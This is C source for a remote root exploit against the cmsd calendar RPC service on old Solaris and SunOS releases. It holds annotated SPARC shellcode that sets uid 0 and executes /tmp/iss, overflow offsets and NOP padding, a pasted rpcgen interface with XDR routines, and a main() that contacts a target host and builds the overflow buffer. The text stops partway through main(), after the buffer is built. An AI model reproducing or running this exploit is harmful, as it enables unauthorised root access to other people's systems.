/*
 *
 * cmsd warez
 *
 * executes /tmp/iss
 *
 * gcc -o c c.c -lrpcsvc -lnsl -lsocket
 *
 *  ..OS's Affected..
 *  (Solaris 7/SPARC)
 *  (Solaris 7/x86)
 *  (Solaris 2.6)
 *  (Solaris 2.5.1)
 *  (Solaris 2.5.1_x86)
 *  (Solaris 2.5)
 *  (Solaris 2.5_x86)
 *  (Solaris 2.3)
 *  (SunOS 4.1.3/4.1.3C/4.1.3_U1/4.1.4)
 *  (Solaris 2.6/SPARC)
 *
 */


#include <stdio.h>
#include <stdlib.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <arpa/inet.h>

char c0de[]=
  "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
  "\x82\x10\x20\x8d"  /* mov 0x8d, %g1 - 0x8d==141==SYS_seteuid in g1 */
  "\x91\xd0\x20\x08"  /* ta 8 - seteuid(0); */
  "\x90\x08\x3f\xff"  /* and %g0, -1, %o0 - 0 in o0 */
  "\x82\x10\x20\x17"  /* mov 0x17, %g1 - 0x17==23==SYS_setuid in g1 */
  "\x91\xd0\x20\x08"  /* ta 8 - setuid(0); */
  "\x2d\x0b\xdd\x1b"  /* sethi %hi(0x2f746c00), %l6 */
  "\xac\x15\xa1\x70"  /* or %l6, 0x170, %l6 - "/tmp" */
  "\x2f\x0b\xda\x5c"  /* sethi %hi(0x2f697000), %l7 */
  "\xae\x15\xe3\x73"  /* or %l7, 0x373, %l7 - "/iss" */
  "\x90\x0b\x80\x0e"  /* and %sp, %sp, %o0 - addr of "/tmp/iss" in o0 */
  "\x92\x03\xa0\x0c"  /* add %sp, 0xc, %o1 - addr of ptr->"/tmp/iss" o1 */
  "\x94\x1a\x80\x0a"  /* xor %o2, %o2, %o2 - 0 in o2 (envp) */
  "\x9c\x03\xa0\x14"  /* add %sp, 0x14, %sp - (0x14==20) give space */
  "\xec\x3b\xbf\xec"  /* std  %l6, [ %sp + -20 ] - store "/tmp/iss" */
  "\xc0\x23\xbf\xf4"  /* clr [ %sp + -12 ] - null term "/tmp/iss" */
  "\xdc\x23\xbf\xf8"  /* st %sp, [ %sp + -8 ] - make ptr->"/tmp/iss" */
  "\xc0\x23\xbf\xfc"  /* clr [ %sp + -4 ] - null term ptr array (argv) */
  "\x82\x10\x20\x3b"  /* mov 0x3b, %g1 - 0x3b==59==SYS_execve in g1 */
  "\x91\xd0\x20\x08"  /* ta 8 - execve(&"/tmp/iss",&(ptr->"/tmp/iss"),0) */
  "\x90\x1b\xc0\x0f"  /* xor %o7, %o7, %o0 - 0 in o0 */
  "\x82\x10\x20\x01"  /* mov 1, %g1 - 1==SYS_exit in g1 */
  "\x91\xd0\x20\x08"; /* ta 8 - exit(0) */

#define X_OFFSET  5500
#define RW_OFFSET 800
#define NOPS      700
#define ALIGN     (2000+sizeof(unsigned long)*7)
#define REG_W_SIZ 64
#define PRE_RET   (REG_W_SIZ-3*sizeof(unsigned long))
#define OFBUFSIZ  (BUFSIZ+REG_W_SIZ+NOPS+sizeof(c0de)-sizeof(unsigned long))

char cname[] = "root@ISS";

/* ----- rpcgen ----- */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

#ifndef _RTABLE4_H_RPCGEN
#define	_RTABLE4_H_RPCGEN

#include <rpc/rpc.h>

typedef char *Buffer;

enum Transaction {
  add = 0,
  cm_remove = 1
};
typedef enum Transaction Transaction;

enum Interval {
  single = 0,
  daily = 1,
  weekly = 2,
  biweekly = 3,
  monthly = 4,
  yearly = 5,
  nthWeekday = 6,
  everyNthDay = 7,
  everyNthWeek = 8,
  everyNthMonth = 9,
  otherPeriod = 10,
  monThruFri = 11,
  monWedFri = 12,
  tueThur = 13,
  daysOfWeek = 14
};
typedef enum Interval Interval;

struct Period
  {
    Interval period;
    int nth;
    long enddate;
  };
typedef struct Period Period;

enum Event_Type {
  appointment = 0,
  reminder = 1,
  otherTag = 2,
  holiday = 3,
  toDo = 4
};
typedef enum Event_Type Event_Type;

enum Options {
  do_all = 0,
  do_one = 1,
  do_forward = 2
};
typedef enum Options Options;

struct Tag
  {
    Event_Type tag;
    int showtime;
    struct Tag *next;
  };
typedef struct Tag Tag;

enum Privacy_Level {
  public = 0,
  private = 1,
  semiprivate = 2
};
typedef enum Privacy_Level Privacy_Level;

struct Attribute
  {
    struct Attribute *next;
    Buffer attr;
    Buffer value;
    Buffer clientdata;
  };
typedef struct Attribute Attribute;

typedef Attribute *Attr;

struct Except
  {
    int ordinal;
    struct Except *next;
  };
typedef struct Except Except;

typedef Except *Exception;

struct Id
  {
    long tick;
    long key;
  };
typedef struct Id Id;

struct Uid
  {
    struct Id appt_id;
    struct Uid *next;
  };
typedef struct Uid Uid;

enum Appt_Status {
  active = 0,
  pendingAdd = 1,
  pendingDelete = 2,
  committed = 3,
  cancelled = 4,
  completed = 5
};
typedef enum Appt_Status Appt_Status;

struct Appt
  {
    struct Id appt_id;
    struct Tag *tag;
    int duration;
    int ntimes;
    Buffer what;
    struct Period period;
    Buffer author;
    Buffer client_data;
    struct Except *exception;
    struct Attribute *attr;
    Appt_Status appt_status;
    Privacy_Level privacy;
    struct Appt *next;
  };
typedef struct Appt Appt;

struct Abb_Appt
  {
    struct Id appt_id;
    struct Tag *tag;
    Buffer what;
    int duration;
    struct Period period;
    struct Abb_Appt *next;
    Appt_Status appt_status;
    Privacy_Level privacy;
  };
typedef struct Abb_Appt Abb_Appt;

struct Apptid
  {
    struct Id *oid;
    struct Appt *new_appt;
    Options option;
  };
typedef struct Apptid Apptid;

struct Reminder
  {
    struct Id appt_id;
    long tick;
    Attribute attr;
    struct Reminder *next;
  };
typedef struct Reminder Reminder;

enum Table_Res_Type {
  AP = 0,
  RM = 1,
  AB = 2,
  ID = 3
};
typedef enum Table_Res_Type Table_Res_Type;

struct Table_Res_List
  {
    Table_Res_Type tag;
    union {
        Appt *a;
        Reminder *r;
        Abb_Appt *b;
        Uid *i;
      } Table_Res_List_u;
  };
typedef struct Table_Res_List Table_Res_List;

enum Access_Status {
  access_ok = 0,
  access_added = 1,
  access_removed = 2,
  access_failed = 3,
  access_exists = 4,
  access_partial = 5,
  access_other = 6,
  access_notable = 7,
  access_notsupported = 8,
  access_incomplete = 9
};
typedef enum Access_Status Access_Status;

struct Table_Res
  {
    Access_Status status;
    Table_Res_List res;
  };
typedef struct Table_Res Table_Res;
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"	/* special user */

struct Access_Entry
  {
    Buffer who;
    int access_type;
    struct Access_Entry *next;
  };
typedef struct Access_Entry Access_Entry;

struct Access_Args
  {
    Buffer target;
    Access_Entry *access_list;
  };
typedef struct Access_Args Access_Args;

struct Range
  {
    long key1;
    long key2;
    struct Range *next;
  };
typedef struct Range Range;

struct Keyrange
  {
    long key;
    long tick1;
    long tick2;
    struct Keyrange *next;
  };
typedef struct Keyrange Keyrange;

struct Uidopt
  {
    struct Id appt_id;
    Options option;
    struct Uidopt *next;
  };
typedef struct Uidopt Uidopt;

enum Table_Args_Type {
  TICK_4 = 0,
  APPTID = 1,
  UID = 2,
  APPT = 3,
  RANGE = 4,
  KEYRANGE = 5,
  UIDOPT = 6
};
typedef enum Table_Args_Type Table_Args_Type;

struct Args
  {
    Table_Args_Type tag;
    union {
        long tick;
        Apptid apptid;
        Uid *key;
        Appt *appt;
        Range *range;
        Keyrange *keyrange;
        Uidopt *uidopt;
      } Args_u;
  };
typedef struct Args Args;

struct Table_Args
  {
    Buffer target;
    Args args;
    int pid;
  };
typedef struct Table_Args Table_Args;

struct Registration
  {
    Buffer target;
    u_long prognum;
    u_long versnum;
    u_long procnum;
    struct Registration *next;
    int pid;
  };
typedef struct Registration Registration;

struct Table_Op_Args
  {
    Buffer target;
    Buffer new_target;
  };
typedef struct Table_Op_Args Table_Op_Args;

enum Table_Status {
  ok = 0,
  duplicate = 1,
  badtable = 2,
  notable = 3,
  denied = 4,
  other = 5,
  tbl_not_owner = 6,
  tbl_exist = 7,
  tbl_notsupported = 8
};
typedef enum Table_Status Table_Status;

enum Registration_Status {
  registered = 0,
  failed = 1,
  deregistered = 2,
  confused = 3,
  reg_notable = 4
};
typedef enum Registration_Status Registration_Status;

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

#define	TABLEPROG ((unsigned long)(100068))
#define	TABLEVERS ((unsigned long)(4))
#define	rtable_ping ((unsigned long)(0))
extern  void * rtable_ping_4();
#define	rtable_lookup ((unsigned long)(1))
extern  Table_Res * rtable_lookup_4();
#define	rtable_lookup_next_larger ((unsigned long)(2))
extern  Table_Res * rtable_lookup_next_larger_4();
#define	rtable_lookup_next_smaller ((unsigned long)(3))
extern  Table_Res * rtable_lookup_next_smaller_4();
#define	rtable_lookup_range ((unsigned long)(4))
extern  Table_Res * rtable_lookup_range_4();
#define	rtable_abbreviated_lookup_range ((unsigned long)(5))
extern  Table_Res * rtable_abbreviated_lookup_range_4();
#define	rtable_insert ((unsigned long)(6))
extern  Table_Res * rtable_insert_4();
#define	rtable_delete ((unsigned long)(7))
extern  Table_Res * rtable_delete_4();
#define	rtable_delete_instance ((unsigned long)(8))
extern  Table_Res * rtable_delete_instance_4();
#define	rtable_change ((unsigned long)(9))
extern  Table_Res * rtable_change_4();
#define	rtable_change_instance ((unsigned long)(10))
extern  Table_Res * rtable_change_instance_4();
#define	rtable_lookup_next_reminder ((unsigned long)(11))
extern  Table_Res * rtable_lookup_next_reminder_4();
#define	rtable_check ((unsigned long)(12))
extern  Table_Status * rtable_check_4();
#define	rtable_flush_table ((unsigned long)(13))
extern  Table_Status * rtable_flush_table_4();
#define	rtable_size ((unsigned long)(14))
extern  int * rtable_size_4();
#define	register_callback ((unsigned long)(15))
extern  Registration_Status * register_callback_4();
#define	deregister_callback ((unsigned long)(16))
extern  Registration_Status * deregister_callback_4();
#define	rtable_set_access ((unsigned long)(17))
extern  Access_Status * rtable_set_access_4();
#define	rtable_get_access ((unsigned long)(18))
extern  Access_Args * rtable_get_access_4();
#define	rtable_abbreviated_lookup_key_range ((unsigned long)(19))
extern  Table_Res * rtable_abbreviated_lookup_key_range_4();
#define	rtable_gmtoff ((unsigned long)(20))
extern  long * rtable_gmtoff_4();
#define	rtable_create ((unsigned long)(21))
extern  Table_Status * rtable_create_4();
#define	rtable_remove ((unsigned long)(22))
extern  Table_Status * rtable_remove_4();
#define	rtable_rename ((unsigned long)(23))
extern  Table_Status * rtable_rename_4();
extern int tableprog_4_freeresult();

/* the xdr functions */
extern bool_t xdr_Buffer();
extern bool_t xdr_Transaction();
extern bool_t xdr_Interval();
extern bool_t xdr_Period();
extern bool_t xdr_Event_Type();
extern bool_t xdr_Options();
extern bool_t xdr_Tag();
extern bool_t xdr_Privacy_Level();
extern bool_t xdr_Attribute();
extern bool_t xdr_Attr();
extern bool_t xdr_Except();
extern bool_t xdr_Exception();
extern bool_t xdr_Id();
extern bool_t xdr_Uid();
extern bool_t xdr_Appt_Status();
extern bool_t xdr_Appt();
extern bool_t xdr_Abb_Appt();
extern bool_t xdr_Apptid();
extern bool_t xdr_Reminder();
extern bool_t xdr_Table_Res_Type();
extern bool_t xdr_Table_Res_List();
extern bool_t xdr_Access_Status();
extern bool_t xdr_Table_Res();
extern bool_t xdr_Access_Entry();
extern bool_t xdr_Access_Args();
extern bool_t xdr_Range();
extern bool_t xdr_Keyrange();
extern bool_t xdr_Uidopt();
extern bool_t xdr_Table_Args_Type();
extern bool_t xdr_Args();
extern bool_t xdr_Table_Args();
extern bool_t xdr_Registration();
extern bool_t xdr_Table_Op_Args();
extern bool_t xdr_Table_Status();
extern bool_t xdr_Registration_Status();

#endif /* !_RTABLE4_H_RPCGEN */

/*
 * Please do not edit this file.
 * It was generated using rpcgen.
 */

bool_t
xdr_Buffer(xdrs, objp)
register XDR *xdrs;
Buffer *objp;
{

  register long *buf;

  if (!xdr_string(xdrs, objp, ~0))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Transaction(xdrs, objp)
register XDR *xdrs;
Transaction *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Interval(xdrs, objp)
register XDR *xdrs;
Interval *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Period(xdrs, objp)
register XDR *xdrs;
Period *objp;
{

  register long *buf;

  if (!xdr_Interval(xdrs, &objp->period))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->nth))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->enddate))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Event_Type(xdrs, objp)
register XDR *xdrs;
Event_Type *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Options(xdrs, objp)
register XDR *xdrs;
Options *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Tag(xdrs, objp)
register XDR *xdrs;
Tag *objp;
{

  register long *buf;

  if (!xdr_Event_Type(xdrs, &objp->tag))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->showtime))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Tag), (xdrproc_t) xdr_Tag))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Privacy_Level(xdrs, objp)
register XDR *xdrs;
Privacy_Level *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Attribute(xdrs, objp)
register XDR *xdrs;
Attribute *objp;
{

  register long *buf;

  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->attr))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->value))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->clientdata))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Attr(xdrs, objp)
register XDR *xdrs;
Attr *objp;
{

  register long *buf;

  if (!xdr_pointer(xdrs, (char **)objp, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Except(xdrs, objp)
register XDR *xdrs;
Except *objp;
{

  register long *buf;

  if (!xdr_int(xdrs, &objp->ordinal))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Except), (xdrproc_t) xdr_Except))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Exception(xdrs, objp)
register XDR *xdrs;
Exception *objp;
{

  register long *buf;

  if (!xdr_pointer(xdrs, (char **)objp, sizeof (Except), (xdrproc_t) xdr_Except))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Id(xdrs, objp)
register XDR *xdrs;
Id *objp;
{

  register long *buf;

  if (!xdr_long(xdrs, &objp->tick))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->key))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Uid(xdrs, objp)
register XDR *xdrs;
Uid *objp;
{

  register long *buf;

  if (!xdr_Id(xdrs, &objp->appt_id))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uid), (xdrproc_t) xdr_Uid))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Appt_Status(xdrs, objp)
register XDR *xdrs;
Appt_Status *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Appt(xdrs, objp)
register XDR *xdrs;
Appt *objp;
{

  register long *buf;

  if (!xdr_Id(xdrs, &objp->appt_id))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->duration))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->ntimes))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->what))
    return (FALSE);
  if (!xdr_Period(xdrs, &objp->period))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->author))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->client_data))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->exception, sizeof (Except), (xdrproc_t) xdr_Except))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->attr, sizeof (Attribute), (xdrproc_t) xdr_Attribute))
    return (FALSE);
  if (!xdr_Appt_Status(xdrs, &objp->appt_status))
    return (FALSE);
  if (!xdr_Privacy_Level(xdrs, &objp->privacy))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Appt), (xdrproc_t) xdr_Appt))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Abb_Appt(xdrs, objp)
register XDR *xdrs;
Abb_Appt *objp;
{

  register long *buf;

  if (!xdr_Id(xdrs, &objp->appt_id))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->tag, sizeof (Tag), (xdrproc_t) xdr_Tag))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->what))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->duration))
    return (FALSE);
  if (!xdr_Period(xdrs, &objp->period))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
    return (FALSE);
  if (!xdr_Appt_Status(xdrs, &objp->appt_status))
    return (FALSE);
  if (!xdr_Privacy_Level(xdrs, &objp->privacy))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Apptid(xdrs, objp)
register XDR *xdrs;
Apptid *objp;
{

  register long *buf;

  if (!xdr_pointer(xdrs, (char **)&objp->oid, sizeof (Id), (xdrproc_t) xdr_Id))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->new_appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
    return (FALSE);
  if (!xdr_Options(xdrs, &objp->option))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Reminder(xdrs, objp)
register XDR *xdrs;
Reminder *objp;
{

  register long *buf;

  if (!xdr_Id(xdrs, &objp->appt_id))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->tick))
    return (FALSE);
  if (!xdr_Attribute(xdrs, &objp->attr))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Res_Type(xdrs, objp)
register XDR *xdrs;
Table_Res_Type *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Res_List(xdrs, objp)
register XDR *xdrs;
Table_Res_List *objp;
{

  register long *buf;

  if (!xdr_Table_Res_Type(xdrs, &objp->tag))
    return (FALSE);
  switch (objp->tag)
    {
    case AP:
      if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.a, sizeof (Appt), (xdrproc_t) xdr_Appt))
        return (FALSE);
      break;
    case RM:
      if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.r, sizeof (Reminder), (xdrproc_t) xdr_Reminder))
        return (FALSE);
      break;
    case AB:
      if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.b, sizeof (Abb_Appt), (xdrproc_t) xdr_Abb_Appt))
        return (FALSE);
      break;
    case ID:
      if (!xdr_pointer(xdrs, (char **)&objp->Table_Res_List_u.i, sizeof (Uid), (xdrproc_t) xdr_Uid))
        return (FALSE);
      break;
    }
  return (TRUE);
}

bool_t
xdr_Access_Status(xdrs, objp)
register XDR *xdrs;
Access_Status *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Res(xdrs, objp)
register XDR *xdrs;
Table_Res *objp;
{

  register long *buf;

  if (!xdr_Access_Status(xdrs, &objp->status))
    return (FALSE);
  if (!xdr_Table_Res_List(xdrs, &objp->res))
    return (FALSE);
  return (TRUE);
}
#define access_none   0x0     /* owner only */
#define access_read   0x1
#define access_write  0x2
#define access_delete 0x4
#define access_exec   0x8     /* execution permission is a hack! */
#define WORLD "world"	/* special user */

bool_t
xdr_Access_Entry(xdrs, objp)
register XDR *xdrs;
Access_Entry *objp;
{

  register long *buf;

  if (!xdr_Buffer(xdrs, &objp->who))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->access_type))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Access_Args(xdrs, objp)
register XDR *xdrs;
Access_Args *objp;
{

  register long *buf;

  if (!xdr_Buffer(xdrs, &objp->target))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->access_list, sizeof (Access_Entry), (xdrproc_t) xdr_Access_Entry))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Range(xdrs, objp)
register XDR *xdrs;
Range *objp;
{

  register long *buf;

  if (!xdr_long(xdrs, &objp->key1))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->key2))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Range), (xdrproc_t) xdr_Range))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Keyrange(xdrs, objp)
register XDR *xdrs;
Keyrange *objp;
{

  register long *buf;

  if (!xdr_long(xdrs, &objp->key))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->tick1))
    return (FALSE);
  if (!xdr_long(xdrs, &objp->tick2))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Uidopt(xdrs, objp)
register XDR *xdrs;
Uidopt *objp;
{

  register long *buf;

  if (!xdr_Id(xdrs, &objp->appt_id))
    return (FALSE);
  if (!xdr_Options(xdrs, &objp->option))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Args_Type(xdrs, objp)
register XDR *xdrs;
Table_Args_Type *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Args(xdrs, objp)
register XDR *xdrs;
Args *objp;
{

  register long *buf;

  if (!xdr_Table_Args_Type(xdrs, &objp->tag))
    return (FALSE);
  switch (objp->tag)
    {
    case TICK_4:
      if (!xdr_long(xdrs, &objp->Args_u.tick))
        return (FALSE);
      break;
    case APPTID:
      if (!xdr_Apptid(xdrs, &objp->Args_u.apptid))
        return (FALSE);
      break;
    case UID:
      if (!xdr_pointer(xdrs, (char **)&objp->Args_u.key, sizeof (Uid), (xdrproc_t) xdr_Uid))
        return (FALSE);
      break;
    case APPT:
      if (!xdr_pointer(xdrs, (char **)&objp->Args_u.appt, sizeof (Appt), (xdrproc_t) xdr_Appt))
        return (FALSE);
      break;
    case RANGE:
      if (!xdr_pointer(xdrs, (char **)&objp->Args_u.range, sizeof (Range), (xdrproc_t) xdr_Range))
        return (FALSE);
      break;
    case KEYRANGE:
      if (!xdr_pointer(xdrs, (char **)&objp->Args_u.keyrange, sizeof (Keyrange), (xdrproc_t) xdr_Keyrange))
        return (FALSE);
      break;
    case UIDOPT:
      if (!xdr_pointer(xdrs, (char **)&objp->Args_u.uidopt, sizeof (Uidopt), (xdrproc_t) xdr_Uidopt))
        return (FALSE);
      break;
    default:
      return (FALSE);
    }
  return (TRUE);
}

bool_t
xdr_Table_Args(xdrs, objp)
register XDR *xdrs;
Table_Args *objp;
{

  register long *buf;

  if (!xdr_Buffer(xdrs, &objp->target))
    return (FALSE);
  if (!xdr_Args(xdrs, &objp->args))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->pid))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Registration(xdrs, objp)
register XDR *xdrs;
Registration *objp;
{

  register long *buf;

  if (!xdr_Buffer(xdrs, &objp->target))
    return (FALSE);
  if (!xdr_u_long(xdrs, &objp->prognum))
    return (FALSE);
  if (!xdr_u_long(xdrs, &objp->versnum))
    return (FALSE);
  if (!xdr_u_long(xdrs, &objp->procnum))
    return (FALSE);
  if (!xdr_pointer(xdrs, (char **)&objp->next, sizeof (Registration), (xdrproc_t) xdr_Registration))
    return (FALSE);
  if (!xdr_int(xdrs, &objp->pid))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Op_Args(xdrs, objp)
register XDR *xdrs;
Table_Op_Args *objp;
{

  register long *buf;

  if (!xdr_Buffer(xdrs, &objp->target))
    return (FALSE);
  if (!xdr_Buffer(xdrs, &objp->new_target))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Table_Status(xdrs, objp)
register XDR *xdrs;
Table_Status *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

bool_t
xdr_Registration_Status(xdrs, objp)
register XDR *xdrs;
Registration_Status *objp;
{

  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp))
    return (FALSE);
  return (TRUE);
}

/*
 * rtable_delete and rtable_change take over the functionality of
 * rtable_delete_instance and rtable_change_instance repectively.
 * rtable_delete_instance and rtable_change_instance are now dummy
 * routines exist for backward compatibility purpose and return
 * access_notsupported.
 */

extern Appt* make_appt();
extern void destroy_appt();
extern void destroy_list();
extern Appt *copy_appt();
extern Appt *copy_semiprivate_appt();
extern Abb_Appt *make_abbrev_appt();
extern void destroy_abbrev_appt();
extern Abb_Appt *copy_abbrev_appt();
extern Abb_Appt *appt_to_abbrev();
extern Abb_Appt *appt_to_semiprivate_abbrev();
extern Reminder* make_reminder();
extern void destroy_reminder();
extern Reminder* copy_reminder();
extern Uid* make_keyentry();
extern void destroy_keyentry();
extern Uid* copy_keyentry();
extern Access_Entry* make_access_entry();
extern Access_Entry* copy_access_list();
extern void destroy_access_list();
extern Abb_Appt *copy_single_abbrev_appt();
extern Attribute *make_attr();

/* ----- rpcgen ----- */

unsigned long resolve(char *host)
{
  long i;
  struct hostent *he;

  if((i=inet_addr(host))==(-1))
    if(!(he=gethostbyname(host)))
      return(0);
    else
      return(*(unsigned long *)he->h_addr);

  return(i);
}

int main(int argc, char *argv[])
{
  char obuf[OFBUFSIZ+1], abuf[ALIGN+1];
  struct sockaddr_in sin;
  struct timeval tv;
  Table_Op_Args toa;
  Table_Status ts;
  Table_Args ta;
  Table_Res tr;
  Appt ap;
  int sock;
  unsigned long *ptr;
  CLIENT *c;

  if(argc!=2)
    {
      (void)fprintf(stderr,"error: usage: %s <full hostname>\n",argv[0]);
      exit(-1);
    }

  (void)memset(&sin,0,sizeof(sin));
  sin.sin_family = AF_INET;

  if(!(sin.sin_addr.s_addr=resolve(argv[1])))
    {
      (void)fprintf(stderr,"error: can not resolve: %s\n",argv[1]);
      exit(-1);
    }

  (void)memset(&tv,0,sizeof(tv));
  tv.tv_sec = 7;

  sock = RPC_ANYSOCK;
  if(!(c=(CLIENT *)clntudp_create(&sin,TABLEPROG,4,tv,&sock)))
    {
      (void)clnt_pcreateerror(argv[0]);
      exit(1);
    }
  c->cl_auth = authunix_create(argv[1],0,0,0,0);

  (void)memset(&toa,0,sizeof(toa));
  toa.target = cname;

  (void)memset(&ts,0,sizeof(ts));

  if(clnt_call(c,rtable_create,xdr_Table_Op_Args,(caddr_t)&toa,
               xdr_Table_Status,(caddr_t)&ts,tv)!=RPC_SUCCESS)
    {
      (void)clnt_perror(c,"error: rtable_create");
      exit(-1);
    }

  (void)memset(abuf,0xff,sizeof(abuf));
  abuf[sizeof(abuf)-1] = 0;

  for(ptr=(unsigned long *)obuf;
      ptr<(unsigned long *)(obuf+BUFSIZ-(sizeof(c0de)-sizeof(unsigned long)));
      ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

  ptr += ((sizeof(c0de)/sizeof(unsigned long))-1);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+PRE_RET);ptr++)
    *ptr = (0xeffffff0-RW_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ);ptr++)
    *ptr = (0xeffffff0-X_OFFSET);

  for(;ptr<(unsigned long *)(obuf+BUFSIZ+REG_W_SIZ+NOPS);ptr++)
    *ptr = *(unsigned long *)c0de;

  (void)strcpy((char *)ptr,(c0de+sizeof(unsigned long)));

